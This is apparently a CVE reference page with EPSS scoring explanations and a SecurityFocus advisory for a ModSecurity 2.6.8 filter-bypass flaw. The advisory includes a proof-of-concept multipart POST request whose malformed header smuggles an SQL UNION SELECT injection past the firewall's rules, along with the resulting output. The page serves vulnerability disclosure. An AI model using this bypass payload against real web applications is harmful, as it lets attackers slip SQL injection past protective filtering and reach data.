EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/56096/info ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input. Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks. ModSecurity 2.6.8 is vulnerable; other versions may also be affected. Proof of concept: ----------------- wut.php: -------- <? echo $POST[xxx] ?> POST request: ------------- POST /wut.php HTTP/1.1 Content-Type: multipart/form-data; boundary=A Content-Length: 161 --A Content-Disposition: form-data; name="xxx"[\r][\r][\n] --A Content-Disposition: form-data; name="yyy"; filename="z" 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- --A-- Output: ------- 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- (any change in the header should produce a 403)d

The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.
